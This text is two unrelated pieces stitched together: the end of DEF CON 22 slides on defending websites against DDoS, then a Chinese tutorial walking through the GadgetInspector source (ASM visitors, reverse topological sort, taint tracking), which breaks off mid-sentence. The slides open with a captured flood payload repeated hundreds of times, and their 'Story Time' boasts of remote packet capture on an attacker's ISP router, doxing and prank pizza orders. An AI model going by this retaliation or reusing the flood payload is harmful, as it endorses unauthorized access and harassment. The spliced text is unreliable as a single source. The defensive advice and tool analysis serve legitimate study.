Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A cat is fine too. Desudesudesu~A c" 414 456 "-" "-" 29 Top Talkers Example (cont) •  Read logs –  Look for patterns for Fail2Ban or whatever blocking system you have in place –  Block User Agents –  Block IPs •  Use sniffer + wireshark –  Beware of SSL •  Using RSA? •  Have private key? –  Snort/F5/Surricata/etc •  Identify unique characteristics to block on •  Often more time intensive, but traffic never reaches the webserver 30 Reacting to an Attack (cont) 31 Sniffer + Wireshark Example •  If attack was effective, why? –  Talk to various teams in your organization •  Brainstorm! –  Deploy defenses discussed here (if not already) –  Test network against a similar attack until defenses are effective •  Hack back? –  SX Forum users have hacked DDoSers with some success –  “Is it more risky to continue the same methods of cyber defense (stand in the ring with multiple opponents just bobbing and weaving never throwing a punch) or more risky to start fighting back with jabs, combinations, head and body blows?” – Jeff Bardin, Treadstone71 –  Probably not a good idea in general –  “If a company can’t do defense correctly, why do you think they can do offense right? … If you can easily and positively attribute, they shouldn’t have breached your defenses. You have no business attacking them when you were negligent on defense 101.” – Brian “Jericho” Martin, attrition.org •  Shame? –  Identifying and shaming DDoSers has been effective for SX 32 Reacting to an Attack (Aftermath) Best Practices •  Limit connections with something like mod_evasion •  Have some way(s) to intelligently block bad traffic –  Snort inline/Fail2ban/etc •  Have sniffer(s) in place to have quick access to traffic •  Tune webserver, database, etc for performance –  This includes log tuning •  Configure webserver to log Client IP AND X-Forwarded-For •  Don’t log small static content to reduce log load (css, js, txt, etc) •  Remove/limit search function if not needed –  Could replace with google search or at least require users to login to site to perform searches •  Avoid hosting public large files when possible –  Many DDoS attacks have involved hitting large PDF files •  Have a monitoring service such as RoboAmp running •  Share information with similar companies/individuals 33 34 Story Time •  VB -  VB DDoS’d SX and took it down for 5 minutes -  The Fixer got VB’s IP from the forums -  VB’s ISP used mikrotik routers (where TheFixer used to work) -  Remote pcap and lulz ensued •  BenOwns -  Defrauded SX VIP and was called out for it -  Proceeded to DDoS the site -  Dox were dropped, Ben vanished •  Others -  Many a pizza has been ordered at the expense of DDoS skids -  Sc0rpion -  egihosting -  plex0r •  Anonymous network technicians that answered questions about various DDoS they have encountered •  RaT, Amp, The Fixer, lattera, spender, sn4ggl3, Shinobi, Kohelet, EverestX, Jericho, Jeff Bardin, Rhapsody, and the entire soldierx.com community (to include irc.soldierx.com #soldierx) •  DDoS skids for all of the entertaining nights of laughing at your packets (especially Desu attack) 35 Thanks References and Resources 36 https://www.soldierx.com http://rules.emergingthreats.net http://www.techstacks.com/howto/log-client-ip-and-xforwardedfor-ip-in-apache.html http://www.rocchi.us/2012/08/mitigate-ddos-with-iptables-and-ipt_recent/ http://gr8idea.info/os/tutorials/security/iptables8.html http://www.brianhare.com/wordpress/2011/03/02/block-tor-exit-nodes-using-bash-script/ http://www.zdziarski.com/blog/?page_id=442 http://systembash.com/content/how-to-stop-an-apache-ddos-attack-with-mod_evasive/ https://www.owasp.org/images/0/04/Roberto_Suggi_Liverani_OWASPNZDAY2010-Defending_against_application_DoS.pdf http://www.csoonline.com/article/2136485/security-leadership/caution--not-executing-offensive-actions-against-our-adversaries-is-high-risk.html http://webdesignfromscratch.com/javascript/human-form-validation-check-trick/ http://www.rocchi.us/2012/08/mitigate-ddos-with-iptables-and-ipt_recent/ http://www.sans.org/reading-room/whitepapers/hackers/user-agent-field-analyzing-detecting-abnormal-malicious-organization-33874 https://media.blackhat.com/us-13/US-13-Nixon-Denying-Service-to-DDOS-Protection-Services-WP.pdf http://www.dedmeet.com/software-projects-mainmenu-12/fail2ban-to-limit-ddos-attacks-on-webserver.html https://jerichoattrition.wordpress.com/2013/08/12/putting-an-end-to-strike-back-active-defense-debate/ https://rtcamp.com/tutorials/nginx/fail2ban/ https://www.drupal.org/project/boost https://grsecurity.net http://www.penny-arcade.com/comic/2004/03/19 http://www.blyon.com/using-squid-proxy-to-fight-ddos/ https://www.snort.org http://a-infosec.com/2013/11/11/layer-7-ddos-attack-a-web-architect-perspective/ https://learn.adafruit.com/drive-a-16x2-lcd-directly-with-a-raspberry-pi/overview http://resources.infosecinstitute.com/ssl-decryption/ http://www.attrition.org http://www.squidblacklist.org Q/A •  Questions? Also reach out to us on irc.soldierx.com #soldierx and email: [email protected] and [email protected] Content is at https://www.soldierx.com/defcon22/ 37
pdf
GadgetInspector源码分析 前置废话 我不想搞介绍,就这样吧,写这个主要是⽹上的对我很晦涩,很多别⼈觉得简单的我不会, 包括⼀些汇编指令等,当然本篇也是站在很多前辈的肩膀上进⾏学习,属实是少花了很多功 夫 在分析gadgetinspector源码的时候,⼤概会对各个核⼼类讲解,并简单分析ASM部分,btw本 篇基于jdk8进⾏分析 当然既然是学习,那么我们肯定是需要跟踪代码的,⽽GI这款⼯具属实头疼,本⾝不仅引⼊ 了jdk的⼀些依赖如rt.jar,在调试的过程当中也出现了gadgetinspector当中的类,属实不适合学 习时使⽤,为了解决这个问题,我 在 gadgetinspector.ClassResourceEnumerator#getAllClasses 当中将源码修改如 此,这样我便能⾃⾏写代码逻辑,并展开学习,我个⼈认为化繁为简也是⼀个很重要的过 程,如下我剔除了jdk原本的类,并且要求全类名包含特定字符,因此解决了这个问题,当然 在具体使⽤的时候还是要替换回来 可以看到经过简单的优化,过程也更加清晰,但是在后⾯有些地⽅需要改回来不然得不到正 确结果,这⾥是为了分析所以暂时改⼀下 在学习的时候配合反汇编代码会更容易理解,Java也⾃带了查看的⽅法 javap -c 类名 lol,多逼逼⼀句⼀定要在熟悉jvm stack和本地变量表,不然很多逻辑会是懵的 ASM部分 这部分不建议直接看,建议在后⾯看到具体部分再来看看 public Collection<ClassResource> getAllClasses() throws IOException {  //       Collection<ClassResource> result = new ArrayList<> (getRuntimeClasses());  Collection<ClassResource> result = new ArrayList<>();  if (ConfigHelper.onlyJDK)    return result;  for (ClassPath.ClassInfo classInfo : ClassPath.from(classLoader).getAllClasses()) {    if (classInfo.getName().contains("yyds")){      result.add(new ClassLoaderClassResource(classLoader, classInfo.getResourceName()));   } }  return result; } 模拟JVM栈帧变化 这部分很重要如果搞不明⽩后⾯在看GI代码的时候会很懵逼 在程序运⾏的过程中,每⼀个线程都对应⼀个属于⾃⼰的JVM Stack。当⼀个新线程开始时会 在内存上分配⼀个属于⾃⼰的JVM Stack;当该线程执⾏结束后,相应的JVM Stack内存空间 也就被回收了。 在JVM Stack当中,是栈的结构,⾥⾯存储的是frames;每⼀个frame空间可以称之为Stack Frame。当调⽤⼀个新⽅法的时候,就会在JVM Stack上分配⼀个frame空间;当⽅法退出时, 相应的frame空间也会JVM Stack上进⾏清除掉(出栈操作)。在frame空间当中,有两个重要 的结构,即local variables(⼀个索引从0开始的数组)和operand stack(栈的结构)。对于每 ⼀个⽅法来说,它都是在⾃⼰的Stack Frame上来运⾏的,在编译的时候,就决定了local variables和operand stack的⼤⼩。 这⾥特别要注意在⽅法刚开始的时候,operand stack是空,不需要存储任何的数据,⽽local variables的初始状态,则需要考虑三个因素: 当前⽅法是否为static⽅法。如果当前⽅法是non-static⽅法,则需要在local variables索引为 0的位置存在⼀个this变量;如果当前⽅法是static⽅法,则不需要存储this。 当前⽅法是否接收参数。⽅法接收的参数,会按照参数的声明顺序放到local variables当 中。 ⽅法参数是否包含long或double类型。如果⽅法的参数是long或double类型,那么它在local variables当中占⽤两个位置。 这⾥推荐⼀个IDEA的插件 ASM Bytecode Viewer ,可以很⽅便配合学习理解,同时如果需 要查当中的汇编指令的含义也很简单,去官⽹看看就好https://docs.oracle.com/javase/specs/jvms /se15/html/jvms-6.html ClassVisitor 我们只要知道在ClassVisitor类当中,定义的visitXxx()⽅法中的参数与ClassFile结构密切相关就 很关键了 ⾸先看看⾥⾯的字段 ClassVisitor当中许多的visitXxx()⽅法,这些visitXxx()⽅法与 ClassFile 的结构密切相关,⽽ 这下⾯四个才是我们关注的主体 public abstract class ClassVisitor { //指出了当前使⽤的ASM API版本    protected final int api; //⼀个ClassVisitor类型的数据,可以将多个ClassVisitor串连起来    protected ClassVisitor cv; } 其中signature为类签名(⾮泛型为NUll),同时visitXxx()⽅法,也有调⽤顺序,了解下就好, 结合这个调⽤顺序,GI的这部分代码就很好懂了 public abstract class ClassVisitor {    public void visit(        final int version,        final int access,        final String name,        final String signature,        final String superName,        final String[] interfaces);    public FieldVisitor visitField( // 访问字段        final int access,        final String name,        final String descriptor,        final String signature,        final Object value);    public MethodVisitor visitMethod( // 访问⽅法        final int access,        final String name,        final String descriptor,        final String signature,        final String[] exceptions);    public void visitEnd(); } visit [visitSource][visitModule][visitNestHost][visitPermittedSubclass] [visitOuterClass] ( visitAnnotation | visitTypeAnnotation | visitAttribute )* ( visitNestMember | visitInnerClass | visitRecordComponent | MethodVisitor 和上⾯很多部分相似,我们直接⼊正⽂,也是有很多关键的visitxxx⽅法,对⼀些我们需要的 做个精简的调⽤,看英⽂名称就能知道意思就不多说每个部分了 这⾥主要记录下visitxxxInsn visitField | visitMethod )* visitEnd (visitParameter)* [visitAnnotationDefault] (visitAnnotation | visitAnnotableParameterCount | visitParameterAnnotation | visitTypeAnnotation | visitAttribute)* [    visitCode   (        visitFrame//访问当前局部变量表和操作数栈中元素的状态,参数就是局部变量表和操 作数栈的内容 |        visitXxxInsn |        visitLabel |        visitInsnAnnotation |        visitTryCatchBlock |        visitTryCatchAnnotation |        visitLocalVariable |        visitLocalVariableAnnotation |        visitLineNumber   )*    visitMaxs ] 在GI当中我们主要关⼼visitMethodInsn,顺便说⼀些相关指令其中invokestatic⽤来调⽤静态⽅ 法;invokespecial⽤来调⽤私有⽅法,⽗类⽅法(super.),类构造器⽅法;invokeinterface调⽤接 ⼜⽅法;invokedynamic⽅法动态执⾏;invokevirtual调⽤所有虚⽅法,即除了以上的⽅法外全 ⽤invokevirtual调⽤。 分析 下⾯根据流程分析具体的类当中的操作 MethodDiscovery 这个⽅法主要是获得类以及⽅法的信息 其中在methods.dat⾥⾯按照指定格式记录:类名、⽅法名、参数以及返回值、是否为静态⽅法 在classes.dat⾥⾯按照指定格式记录:类名、⽗类名、实现的接⼜名、是否为接⼜、类的所有 字段、注解名 看了下main函数的主体 visitFieldInsn : 访问某个成员变量的指令,⽀持GETSTATIC, PUTSTATIC, GETFIELD or PUTFIELD. visitIincInsn : 访问⾃增指令 visitVarInsn :访问局部变量指令,就是取局部变量变的值放⼊操作数栈 visitMethodInsn :访问⽅法指令,就是调⽤某个⽅法,⽀持INVOKEVIRTUAL, INVOKESPECIAL, INVOKESTATIC or INVOKEINTERFACE. visitInsn : 访问⽆操作数的指令,例如nop,duo等等 visitTypeInsn:访问type指令,即将⼀个类的全限定名作为参数然后new⼀个对象压⼊操作数栈 中 ClassLoader classLoader = Util.getWarClassLoader(Paths.get("/Users/y4tacker/Desktop/test/shorter- 0.0.1-SNAPSHOT.jar")); MethodDiscovery methodDiscovery = new MethodDiscovery(); methodDiscovery.discover(new ClassResourceEnumerator(classLoader)); methodDiscovery.save(); ⾸先第⼀⾏的 gadgetinspector.Util#getWarClassLoader 不是很难不贴代码了,⾸先 创建了⼀个临时⽂件夹,通过addShutdownHook在jvm shutdown⾃动删除,之后将jar/war的⽂ 件解压到临时⽂件夹,并配置/资源⽂件的路径,并返回URLClassLoader 之后调⽤ gadgetinspector.MethodDiscovery#discover ,可以看出通过foreach遍历, 之后使⽤asm的ClassVisitor、MethodVisitor,利⽤观察模式去扫描所有的class和method并记录 调⽤ gadgetinspector.ClassResourceEnumerator#getAllClasses ,⾸先⾥⾯调⽤了 getRuntimeClasses()函数 可以看到核⼼代码 public void discover(final ClassResourceEnumerator classResourceEnumerator) throws Exception {  for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {    try (InputStream in = classResource.getInputStream()) {      ClassReader cr = new ClassReader(in);      try {        //使⽤asm的ClassVisitor、MethodVisitor,利⽤观察模式去扫描所有的class和 method并记录        cr.accept(new MethodDiscoveryClassVisitor(), ClassReader.EXPAND_FRAMES);     } catch (Exception e) {        LOGGER.error("Exception analyzing: " + classResource.getName(), e);     }   } catch (Exception e) {      e.printStackTrace();   } } } 他先获取JDK内部的String类的路径,加载String类的同时,类加载器还会将rt.jar的全部类⼀起 加载,最后将rt.jar当中的所有类加⼊到ClassResource类型的result并且返回 之后也就是⼀个继承了ClassVisitor的MethodDiscoveryClassVisitor分别在visitMethod和visitEnd 依次添加⽅法和类到缓存 之后就是调⽤save⽅法保存到⽂件 URL stringClassUrl = Object.class.getResource("String.class"); URLConnection connection = stringClassUrl.openConnection(); Collection<ClassResource> result = new ArrayList<>(); if (connection instanceof JarURLConnection) {  URL runtimeUrl = ((JarURLConnection) connection).getJarFileURL();  URLClassLoader classLoader = new URLClassLoader(new URL[]{runtimeUrl});  for (ClassPath.ClassInfo classInfo : ClassPath.from(classLoader).getAllClasses()) {    result.add(new ClassLoaderClassResource(classLoader, classInfo.getResourceName())); } }    public void save() throws IOException {        //保存和读取使⽤Factory实现        //classes.dat数据格式:        //类名(例:java/lang/String) ⽗类 接⼝A,接⼝B,接⼝C 是否接⼝ 字段1!字段 1access!字段1类型!字段2!字段2access!字段1类型        DataLoader.saveData(Paths.get("classes.dat"), new ClassReference.Factory(), discoveredClasses);        //methods.dat数据格式:        //类名 ⽅法名 ⽅法描述 是否静态⽅法        DataLoader.saveData(Paths.get("methods.dat"), new MethodReference.Factory(), discoveredMethods);        //形成 类名(ClassReference.Handle)->类(ClassReference) 的映射关系 PassthroughDiscovery 这个类⽤来寻找函数的第⼏个参数能控制返回值: 0代表this、1-n分别代表第⼏个函数当中的形参 我们主要来关注gadgetinspector.PassthroughDiscovery#discover,先简单看看逻辑        Map<ClassReference.Handle, ClassReference> classMap = new HashMap<>();        for (ClassReference clazz : discoveredClasses) {            classMap.put(clazz.getHandle(), clazz);       }        //保存classes.dat和methods.dat的同时,对所有的class进⾏递归整合,得到集合 {class:[subclass]},        // 递归寻找class的⽗类、超类或实现的接⼝类,保存⾄inheritanceMap.dat        InheritanceDeriver.derive(classMap).save();   } public void discover(final ClassResourceEnumerator classResourceEnumerator, final GIConfig config) throws IOException {  //加载⽂件记录的所有⽅法信息  Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();  //加载⽂件记录的所有类信息  Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();  //加载⽂件记录的所有类继承、实现关联信息  InheritanceMap inheritanceMap = InheritanceMap.load();  //搜索⽅法间的调⽤关系,缓存⾄methodCalls集合,返回 类名->类资源 映射集合  Map<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator);  //对⽅法调⽤关系进⾏字典排序  List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls();  /**         * classResourceByName:类资源集合 跳过加载⽂件的部分,我们来看gadgetinspector.PassthroughDiscovery#discoverMethodCalls         * classMap:类信息集合         * inheritanceMap:继承、实现关系集合         * sortedMethods:⽅法集合         * SerializableDecider:决策者         */  passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods, config.getSerializableDecider(methodMap, inheritanceMap)); }    private Map<String, ClassResourceEnumerator.ClassResource> discoverMethodCalls(final ClassResourceEnumerator classResourceEnumerator) throws IOException {        Map<String, ClassResourceEnumerator.ClassResource> classResourcesByName = new HashMap<>();        for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {            try (InputStream in = classResource.getInputStream()) {                ClassReader cr = new ClassReader(in);                try {                    MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6);                    cr.accept(visitor, ClassReader.EXPAND_FRAMES);                    classResourcesByName.put(visitor.getName(), classResource);               } catch (Exception e) {                    LOGGER.error("Error analyzing: " + classResource.getName(), e);               }           }       }        return classResourcesByName;   } 很相似直接跟进MethodCallDiscoveryClassVisitor,其中重要的 是 gadgetinspector.PassthroughDiscovery.MethodCallDiscoveryClassVisitor#v isitMethod 在MethodCallDiscoveryMethodVisitor内重写了MethodCallDiscoveryMethodVisitor的 visitMethodInsn⽅法,也就是在⽅法内调⽤其他⽅法时,会把⽅法的相关信息缓存到 calledMethods 并且这个calledMethods之前在MethodCallDiscoveryMethodVisitor的初始化构造函数当中将 calledMethods的引⽤也放到了类的成员变量methodCalls当中 public MethodVisitor visitMethod(int access, String name, String desc,                                 String signature, String[] exceptions) {  MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);  //在visit每个method的时候,创建MethodVisitor对method进⾏观察  MethodCallDiscoveryMethodVisitor modelGeneratorMethodVisitor = new MethodCallDiscoveryMethodVisitor(    api, mv, this.name, name, desc);  return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions); } public MethodCallDiscoveryMethodVisitor(final int api, final MethodVisitor mv,                                        final String owner, String name, String desc) {  super(api, mv);  //创建calledMethod收集调⽤到的method,最后形成集合 {{sourceClass,sourceMethod}:[{targetClass,targetMethod}]}  this.calledMethods = new HashSet<>();  methodCalls.put(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc), calledMethods); } 接下来就是最重要的逆拓扑排序topologicallySortMethodCalls,这个步骤对于我们之后污点跟 踪⾮常重要,可以看看知道创宇404的⽂章⾮常好,这⾥为了⽂章清晰将直接复制相关部分 在代码当中,⾸先有三个重要的变量 dfsStack:⽤来分析⽅法调⽤顺序,保证在逆拓扑时候不形成环 visitedNodes:访问过的结点,在⼀条调⽤链出现重合的时候,不会造成重复的排序 sortedMethods:最终逆拓扑排序出来的结果 接下来我们详细看看dfsTsort,可以看到是⼀个递归的过程 private List<MethodReference.Handle> topologicallySortMethodCalls() {  Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences = new HashMap<>();  for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodCalls.entrySet()) {    MethodReference.Handle method = entry.getKey();    outgoingReferences.put(method, new HashSet<>(entry.getValue())); }  // Topological sort methods  LOGGER.debug("Performing topological sort...");  Set<MethodReference.Handle> dfsStack = new HashSet<>();  Set<MethodReference.Handle> visitedNodes = new HashSet<>();  List<MethodReference.Handle> sortedMethods = new ArrayList<> (outgoingReferences.size());  for (MethodReference.Handle root : outgoingReferences.keySet()) {    //遍历集合中的起始⽅法,进⾏递归搜索DFS,通过逆拓扑排序,调⽤链的最末端排在最前⾯,    // 这样才能实现⼊参、返回值、函数调⽤链之间的污点影响    dfsTsort(outgoingReferences, sortedMethods, visitedNodes, dfsStack, root); }  LOGGER.debug(String.format("Outgoing references %d, sortedMethods %d", outgoingReferences.size(), sortedMethods.size()));  return sortedMethods; } 为了防⽌在逆拓扑排序形成环,对于待分析的⽅法,如果在stack⾥⾯,则不再⼊栈了,如果 之前已经分析过某⽅法,也不会再⼊栈,之后取出被调⽤的⼦⽅法集,遍历这个⼦⽅法集递 归调⽤dfsTsort,最后将结果保存到sortedMethods ⽐较形象的过程看创宇⾥的图,配合理解代码就不难了 private static void dfsTsort(Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences,                             List<MethodReference.Handle> sortedMethods, Set<MethodReference.Handle> visitedNodes,                             Set<MethodReference.Handle> stack, MethodReference.Handle node) {  if (stack.contains(node)) {    return; }  if (visitedNodes.contains(node)) {    return; }  //根据起始⽅法,取出被调⽤的⽅法集  Set<MethodReference.Handle> outgoingRefs = outgoingReferences.get(node);  if (outgoingRefs == null) {    return; }  //⼊栈,以便于递归不造成类似循环引⽤的死循环整合  stack.add(node);  for (MethodReference.Handle child : outgoingRefs) {    dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, child); }  stack.remove(node);  visitedNodes.add(node);//记录已被探索过的⽅法,⽤于在上层调⽤遇到重复⽅法时可以跳 过  sortedMethods.add(node);//递归完成的探索,会添加进来 } 对上图进⾏逆拓扑排序(DFS⽅式): 从med1开始,先将med1加⼊stack中,此时stack、visited、sortedmethods状态如下: med1还有⼦⽅法?有,继续深度遍历。将med2放⼊stack,此时的状态: med3有⼦⽅法吗?有,继续深度遍历。将med7放⼊stack,此时的状态: med7有⼦⽅法吗?没有,从stack中弹出med7并加⼊visited和sortedmethods,此时的状态: 回溯到上⼀层,med3还有其他⼦⽅法吗?有,med8,将med8放⼊stack,此时的状态: med8还有⼦⽅法吗?没有,弹出stack,加⼊visited与sortedmethods,此时的状态: 回溯到上⼀层,med3还有其他⼦⽅法吗?没有了,弹出stack,加⼊visited与sortedmethods,此 时的状态: ⼀直类似上⾯的过程,得到最终结果:med7、med8、med3、med6、med2、med4、med1 之后的过程就是调⽤calculatePassthroughDataflow,其中遍历了sortedmethods,并通过字节码 分析,⽣成了⽅法返回值与参数关系的passthrough数据流(passthroughDataflow主要负责存储参 数污染结果,key对应⽅法名,value对应的是这个⽅法中可以被污染的参数索引集合),内置 了三种反序列化的策略配置config类:JDK、Jackson、Xstream,这⾥我只分析默认的JDK反序 列化,其他过程都是类似的,继续回到正题 ,ok还是为了减少⼲扰,我又在函数逻辑稍作修改,因为上⽂提到过我们跟踪的代码是 package yyds; import java.io.IOException; public class Main {    public String main(String args) throws IOException {        String cmd = new A().method1(args);        return new B().method2(cmd);   } } class A {    public String method1(String param) {        return param;   } } class B {    public String method2(String param) {        return new C().method3(param);   } } class C {    public String method3(String param) {        return param;   } } ⾁眼可得与构造函数⽆关,接下来我们具体看看函数 calculatePassthroughDataflow 做 了些什么 根据代码逻辑我们可以看出⾸先会跳过静态初始化代码(因为静态代码块不出意外基本上是没 法被污染的) 接下来在遍历的每个⽅法时,会先获取它的所属类,传⼊函 数 PassthroughDataflowClassVisitor 进⾏ASM访问者模式的分析,这⾥我们依然重点 关注的是visitMethod函数,这⾥⾸先需要⽬标是需要观察的method,否则跳过 之后会传⼊ PassthroughDataflowMethodVisitor 做进⼀步的处理, 在 JSRInlinerAdapter 的最后执⾏ visitEnd 会触发这个观察过程,猜测这样做的⽬的是 便于筛选,便于观察⽬的类 那么我们来具体看看这个 PassthroughDataflowMethodVisitor 类,⾸先它是继承于⽗ 类 TaintTrackingMethodVisitor ,⾸先是 visitCode 函数,很简单就是为了模拟本地变 量表和操作数栈的变化  public void visitCode() {    super.visitCode();    int localIndex = 0;    int argIndex = 0;    if ((this.access & Opcodes.ACC_STATIC) == 0) {      //⾮静态⽅法,第⼀个局部变量应该为对象实例this      //添加到本地变量表集合      setLocalTaint(localIndex, argIndex);      localIndex += 1; 之后的visitInsn⽅法(每当访问⽆操作数的指令,例如nop,duo等等,ASM都会调⽤这个⽅ 法,这⾥我们只需要关注返回值的部分lol)      argIndex += 1;   }    for (Type argType : Type.getArgumentTypes(desc)) {      //判断参数类型,得出变量占⽤空间⼤⼩,然后存储      setLocalTaint(localIndex, argIndex);      localIndex += argType.getSize();      argIndex += 1;   } }        @Override        public void visitInsn(int opcode) {            switch(opcode) {                case Opcodes.IRETURN://从当前⽅法返回int                case Opcodes.FRETURN://从当前⽅法返回float                case Opcodes.ARETURN://从当前⽅法返回对象引⽤                    returnTaint.addAll(getStackTaint(0));//栈空间从内存⾼位到 低位分配空间                    break;                case Opcodes.LRETURN://从当前⽅法返回long                case Opcodes.DRETURN://从当前⽅法返回double                    returnTaint.addAll(getStackTaint(1));                    break;                case Opcodes.RETURN://从当前⽅法返回void                    break;                default:                    break;           }            super.visitInsn(opcode);       } 之后还有个重要的就是 visitMethodInsn (在⽅法体内,调⽤了其他⽅法,都会触发这个⽅ 法的调⽤),这⾥逻辑也不难但是为了梳理逻辑这⾥先不谈,之后我们以开题提到的代码来做 讲解 ⾸先可以看到逆拓扑排序的结果以及可被污染的位置, 那么具体跟⼊这个过程分析 第⼀步,⾸先是对 C.method3 进⾏观察,节约纸张不废话,⾸先是 到 gadgetinspector.PassthroughDiscovery.PassthroughDataflowClassVisitor#v isitMethod 筛选⽬标类,之后传⼊到 PassthroughDataflowMethodVisitor 当中做进⼀ 步的观察,由于method3⽅法体⽐较简单,只是返回传⼊的参数 由于在⽅法体内字节码操作了变量,因此会调⽤ visitVarInsn ,也就是 在 gadgetinspector.TaintTrackingMethodVisitor#visitVarInsn ,在这⾥返回变量 触发了aload操作指令,这⾥会将返回参数对应的本地变量推送⾄栈顶 class C {    public String method3(String param) {        return param;   } } 之后对应的ARETURN指令会触发调 ⽤ gadgetinspector.PassthroughDiscovery.PassthroughDataflowMethodVisitor# visitInsn ,这⾥将污染的变量保存到 returnTaint 变量当中,这⾥返回long和double的和 上⾯不⼀样主要是因为它们占两个位置 ⾄此我们的第⼀步method3也就结束了,之后就是将其缓存到passthroughDataflow当中 接下来第⼆步,也就是调⽤ B.method2 ⽅法,这个稍微复杂⼀点,结合对应的汇编来理解呗 跳开第⼀步new,之后dup会触发 